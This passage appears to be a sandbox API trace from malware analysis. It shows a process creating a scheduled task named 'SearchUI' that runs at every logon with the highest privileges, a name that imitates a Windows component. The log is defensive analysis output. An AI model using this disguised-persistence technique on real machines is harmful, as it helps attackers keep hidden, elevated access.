(HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xe) returned 0x1fba65fabd0 [0125.994] GetThreadLocale () returned 0x409 [0125.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0125.994] GetProcessHeap () returned 0x1fba65f0000 [0125.994] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb490 [0125.994] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.994] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0125.994] lstrlenW (lpString="HOURLY") returned 6 [0125.994] GetProcessHeap () returned 0x1fba65f0000 [0125.994] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xe) returned 0x1fba65fabf0 [0125.994] GetThreadLocale () returned 0x409 [0125.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0125.994] GetProcessHeap () returned 0x1fba65f0000 [0125.994] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb790 [0125.994] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.994] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0125.994] lstrlenW (lpString="DAILY") returned 5 [0125.994] GetProcessHeap () returned 0x1fba65f0000 [0125.994] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xc) returned 0x1fba65fa9d0 [0125.994] GetThreadLocale () returned 0x409 [0125.995] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0125.995] GetProcessHeap () returned 0x1fba65f0000 [0125.995] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb4c0 [0125.995] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.995] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0125.995] lstrlenW (lpString="WEEKLY") returned 6 [0125.995] GetProcessHeap () returned 0x1fba65f0000 [0125.995] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xe) returned 0x1fba65fab30 [0125.995] GetThreadLocale () returned 0x409 [0125.995] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0125.995] GetProcessHeap () returned 0x1fba65f0000 [0125.995] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb880 [0125.995] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.995] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0125.995] lstrlenW (lpString="MONTHLY") returned 7 [0125.995] GetProcessHeap () returned 0x1fba65f0000 [0125.995] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x10) returned 0x1fba65faa30 [0125.995] GetThreadLocale () returned 0x409 [0125.995] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0125.995] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.995] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0125.995] lstrlenW (lpString="ONCE") returned 4 [0125.996] GetProcessHeap () returned 0x1fba65f0000 [0125.996] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xa) returned 0x1fba65fa9f0 [0125.996] GetThreadLocale () returned 0x409 [0125.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0125.996] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.996] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0125.996] lstrlenW (lpString="ONSTART") returned 7 [0125.996] GetThreadLocale () returned 0x409 [0125.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0125.996] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.996] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0125.996] lstrlenW (lpString="ONLOGON") returned 7 [0125.996] GetThreadLocale () returned 0x409 [0125.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0125.996] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.997] GetProcessHeap () returned 0x1fba65f0000 [0125.997] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x1fc) returned 0x1fba65fac70 [0125.997] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.997] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0125.997] lstrlenW (lpString="First") returned 5 [0125.997] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.997] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0125.997] lstrlenW (lpString="Second") returned 6 [0125.997] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.997] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0125.997] lstrlenW (lpString="Third") returned 5 [0125.997] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.997] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0125.997] lstrlenW (lpString="Fourth") returned 6 [0125.997] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.997] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0125.997] lstrlenW (lpString="Last") returned 4 [0125.997] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.998] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0125.998] lstrlenW (lpString="First") returned 5 [0125.998] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.998] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0125.998] lstrlenW (lpString="Second") returned 6 [0125.998] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.998] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0125.998] lstrlenW (lpString="Third") returned 5 [0125.998] GetProcessHeap () returned 0x1fba65f0000 [0125.998] GetProcessHeap () returned 0x1fba65f0000 [0125.998] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa9f0) returned 1 [0125.998] GetProcessHeap () returned 0x1fba65f0000 [0125.998] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa9f0) returned 0xa [0125.998] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa9f0) returned 1 [0125.998] GetProcessHeap () returned 0x1fba65f0000 [0125.998] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xc) returned 0x1fba65fab70 [0125.998] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.998] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0125.998] lstrlenW (lpString="Fourth") returned 6 [0125.998] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.998] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0125.998] lstrlenW (lpString="Last") returned 4 [0125.999] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xe52467bf00, cchData=128 | out: lpLCData="0") returned 2 [0125.999] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.999] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0125.999] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fac10) returned 1 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fac10) returned 0x10 [0125.999] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fac10) returned 1 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x16) returned 0x1fba65fa970 [0125.999] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xe52467bf20, cchData=128 | out: lpLCData="0") returned 2 [0125.999] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.999] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0125.999] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa930) returned 1 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0125.999] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa930) returned 0x10 [0125.999] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa930) returned 1 [0125.999] GetProcessHeap () returned 0x1fba65f0000 [0126.000] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x16) returned 0x1fba65fa9f0 [0126.000] GetLocalTime (in: lpSystemTime=0xe52467c158 | out: lpSystemTime=0xe52467c158*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x31, wMilliseconds=0x17a)) [0126.000] GetLocalTime (in: lpSystemTime=0xe52467cb48 | out: lpSystemTime=0xe52467cb48*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x31, wMilliseconds=0x17a)) [0126.000] lstrlenW (lpString="") returned 0 [0126.000] lstrlenW (lpString="") returned 0 [0126.000] lstrlenW (lpString="") returned 0 [0126.000] lstrlenW (lpString="") returned 0 [0126.000] lstrlenW (lpString="") returned 0 [0126.000] lstrlenW (lpString="") returned 0 [0126.000] lstrlenW (lpString="") returned 0 [0126.000] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0126.008] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0126.106] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xe52467c8a0 | out: ppv=0xe52467c8a0*=0x1fba67656f0) returned 0x0 [0126.148] TaskScheduler:ITaskService:Connect (This=0x1fba67656f0, serverName=0xe52467c990*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xe52467c960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xe52467c940*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xe52467c920*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0126.158] TaskScheduler:ITaskService:GetFolder (in: This=0x1fba67656f0, Path=0x0, ppFolder=0xe52467ca80 | out: ppFolder=0xe52467ca80*=0x1fba6765840) returned 0x0 [0126.161] TaskScheduler:ITaskService:NewTask (in: This=0x1fba67656f0, flags=0x0, ppDefinition=0xe52467ca58 | out: ppDefinition=0xe52467ca58*=0x1fba67658c0) returned 0x0 [0126.162] ITaskDefinition:get_Actions (in: This=0x1fba67658c0, ppActions=0xe52467c9a0 | out: ppActions=0xe52467c9a0*=0x1fba6765950) returned 0x0 [0126.162] IActionCollection:Create (in: This=0x1fba6765950, Type=0, ppAction=0xe52467c9e0 | out: ppAction=0xe52467c9e0*=0x1fba6765d60) returned 0x0 [0126.162] IUnknown:Release (This=0x1fba6765d60) returned 0x1 [0126.162] IUnknown:Release (This=0x1fba6765950) returned 0x1 [0126.162] ITaskDefinition:get_Triggers (in: This=0x1fba67658c0, ppTriggers=0xe52467c550 | out: ppTriggers=0xe52467c550*=0x1fba6765c10) returned 0x0 [0126.162] ITriggerCollection:Create (in: This=0x1fba6765c10, Type=9, ppTrigger=0xe52467c538 | out: ppTrigger=0xe52467c538*=0x1fba6765df0) returned 0x0 [0126.163] IUnknown:QueryInterface (in: This=0x1fba6765df0, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xe52467c530 | out: ppvObject=0xe52467c530*=0x1fba6765df0) returned 0x0 [0126.163] IUnknown:Release (This=0x1fba6765df0) returned 0x2 [0126.163] _vsnwprintf (in: _Buffer=0xe52467c480, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xe52467c458 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0126.163] ITrigger:put_StartBoundary (This=0x1fba6765df0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0126.163] lstrlenW (lpString="") returned 0 [0126.163] lstrlenW (lpString="") returned 0 [0126.163] lstrlenW (lpString="") returned 0 [0126.163] lstrlenW (lpString="") returned 0 [0126.163] IUnknown:Release (This=0x1fba6765df0) returned 0x1 [0126.163] IUnknown:Release (This=0x1fba6765c10) returned 0x1 [0126.163] ITaskDefinition:get_Settings (in: This=0x1fba67658c0, ppSettings=0xe52467c9e0 | out: ppSettings=0xe52467c9e0*=0x1fba6765a90) returned 0x0 [0126.164] lstrlenW (lpString="") returned 0 [0126.164] IUnknown:Release (This=0x1fba6765a90) returned 0x3 [0126.164] GetLocalTime (in: lpSystemTime=0xe52467c898 | out: lpSystemTime=0xe52467c898*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x31, wMilliseconds=0x216)) [0126.164] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0126.164] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xe52467c8b0, nSize=0xe52467c888 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xe52467c888) returned 0x1 [0126.164] ITaskDefinition:get_RegistrationInfo (in: This=0x1fba67658c0, ppRegistrationInfo=0xe52467c880 | out: ppRegistrationInfo=0xe52467c880*=0x1fba67659d0) returned 0x0 [0126.165] IRegistrationInfo:put_Author (This=0x1fba67659d0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0126.165] _vsnwprintf (in: _Buffer=0xe52467c8b0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xe52467c848 | out: _Buffer="2023-09-19T17:15:49") returned 19 [0126.165] IRegistrationInfo:put_Date (This=0x1fba67659d0, Date="2023-09-19T17:15:49") returned 0x0 [0126.165] IUnknown:Release (This=0x1fba67659d0) returned 0x1 [0126.165] malloc (_Size=0x18) returned 0x1fba6765f10 [0126.165] free (_Block=0x1fba6765f10) [0126.165] lstrlenW (lpString="") returned 0 [0126.165] ITaskDefinition:get_Principal (in: This=0x1fba67658c0, ppPrincipal=0xe52467ca48 | out: ppPrincipal=0xe52467ca48*=0x1fba6765c80) returned 0x0 [0126.165] IPrincipal:put_RunLevel (This=0x1fba6765c80, RunLevel=1) returned 0x0 [0126.165] IUnknown:Release (This=0x1fba6765c80) returned 0x1 [0126.165] malloc (_Size=0x18) returned 0x1fba6765f10 [0126.166] ITaskFolder:RegisterTaskDefinition (in: This=0x1fba6765840, Path="SearchUI", pDefinition=0x1fba67658c0, flags=6, UserId=0xe52467caf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xe52467cad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xe52467cb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xe52467cab0 | out: ppTask=0xe52467cab0*=0x1fba6766fd0) returned 0x0 [0126.236] free (_Block=0x1fba6765f10) [0126.236] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.236] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0126.236] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0126.236] GetProcessHeap () returned 0x1fba65f0000 [0126.236] GetProcessHeap () returned 0x1fba65f0000 [0126.236] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fabd0) returned 1 [0126.236] GetProcessHeap () returned 0x1fba65f0000 [0126.236] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fabd0) returned 0xe [0126.236] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fabd0) returned 1 [0126.236] GetProcessHeap () returned 0x1fba65f0000 [0126.236] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x82) returned 0x1fba660a2f0 [0126.236] _vsnwprintf (in: _Buffer=0xe52467d160, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xe52467c9f8 | out: _Buffer="SUCCESS: The scheduled task \"SearchUI\" has successfully been created.\n") returned 70 [0126.236] __iob_func () returned 0x7ffa7941e210 [0126.236] _fileno (_File=0x7ffa7941e240) returned -2 [0126.236] _errno () returned 0x1fba6760840 [0126.236] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0126.236] RtlRestoreLastWin32Error () returned 0xe52459b000 [0126.236] lstrlenW (lpString="SUCCESS: The scheduled task \"SearchUI\" has successfully been created.\n") returned 70 [0126.236] GetConsoleOutputCP () returned 0x0 [0126.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SearchUI\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0126.236] GetConsoleOutputCP () returned 0x0 [0126.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SearchUI\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SearchUI\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0126.237] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 70 [0126.237] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0126.237] IUnknown:Release (This=0x1fba6766fd0) returned 0x0 [0126.237] TaskScheduler:IUnknown:Release (This=0x1fba67658c0) returned 0x0 [0126.237] TaskScheduler:IUnknown:Release (This=0x1fba6765840) returned 0x0 [0126.237] TaskScheduler:IUnknown:Release (This=0x1fba67656f0) returned 0x0 [0126.237] lstrlenW (lpString="") returned 0 [0126.237] GetProcessHeap () returned 0x1fba65f0000 [0126.237] GetProcessHeap () returned 0x1fba65f0000 [0126.237] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fac70) returned 1 [0126.237] GetProcessHeap () returned 0x1fba65f0000 [0126.237] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fac70) returned 0x1fc [0126.238] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fac70) returned 1 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65faab0) returned 1 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65faab0) returned 0x16 [0126.238] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65faab0) returned 1 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa910) returned 1 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa910) returned 0x18 [0126.238] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa910) returned 1 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb460) returned 1 [0126.238] GetProcessHeap () returned 0x1fba65f0000 [0126.238] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb460) returned 0x20 [0126.239] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb460) returned 1 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f3860) returned 1 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f3860) returned 0xa0 [0126.239] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f3860) returned 1 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4c40) returned 1 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4c40) returned 0x18 [0126.239] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4c40) returned 1 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb940) returned 1 [0126.239] GetProcessHeap () returned 0x1fba65f0000 [0126.239] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb940) returned 0x20 [0126.240] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb940) returned 1 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f46e0) returned 1 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f46e0) returned 0x4a [0126.240] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f46e0) returned 1 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa950) returned 1 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa950) returned 0x18 [0126.240] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa950) returned 1 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb430) returned 1 [0126.240] GetProcessHeap () returned 0x1fba65f0000 [0126.240] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb430) returned 0x20 [0126.241] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb430) returned 1 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f3b30) returned 1 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f3b30) returned 0x4c [0126.241] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f3b30) returned 1 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fab10) returned 1 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fab10) returned 0x18 [0126.241] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fab10) returned 1 [0126.241] 